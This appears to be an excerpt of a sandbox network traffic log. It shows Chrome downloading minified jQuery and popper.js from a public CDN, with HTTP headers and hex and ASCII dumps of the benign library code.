2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-03-10 12:56:19 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49707	104.17.25.14	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:18 UTC	634	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:19 UTC	961	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:56:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1404192 Expires: Sat, 28 Feb 2026 12:56:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yd7THXevtR2Qi4k%2FzqC%2BwGMGIgtZxyT6pDgo3jgfqJNH%2BLkOjE0qQBUkOFYVFJkvfDmVZM6%2BUFaAuYT2vDagjHdEtjYysPrpxVWrg0KmeuJSuQ5NmanTxdkdNiYuTSsADQ2CkWln"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91e2f8afbe406e89-ORD alt-svc: h3=":443"; ma=86400
2025-03-10 12:56:19 UTC	408	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e Data Ascii: ==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#documen
2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 Data Ascii: ){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bor
2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 Data Ascii: op:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}retu
2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 Data Ascii: ight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.w
2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 Data Ascii: le.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={inst
2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 Data Ascii: his.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pas
2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 Data Ascii: turn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){re
